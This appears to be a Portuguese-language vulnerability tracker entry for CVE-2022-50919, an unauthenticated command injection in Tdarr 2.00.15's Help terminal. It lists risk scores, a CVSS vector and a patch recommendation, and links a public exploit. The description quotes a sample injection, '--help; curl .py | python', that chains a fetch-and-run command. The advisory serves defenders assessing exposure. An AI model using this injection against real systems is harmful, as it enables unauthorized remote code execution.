CVE-2022-50919
Tdarr 2.00.15 - Command Injection
Vexday Risk Score
48Atenção
Decisão SSVC (CISA)
Attend
PoC disponível → acompanhar de perto
CVSS 9.3EPSS 1.2%KEV nãoPoC públicaNuclei —Metasploit —Patch —
Ciclo de vida
13 jan 2026Publicada no NVD
Recomendação: Planejar correção próxima — já existe PoC pública.
Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to execute remote code without authentication.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Produtos afetados
Tdarr · TdarrPoCs públicas encontradas — 1
cve_referencewww.exploit-db.com/exploits/50822não verificado⚠ Recursos públicos, para você avaliar a exposição de sistemas que controla ou está autorizado a testar. Teste apenas com autorização.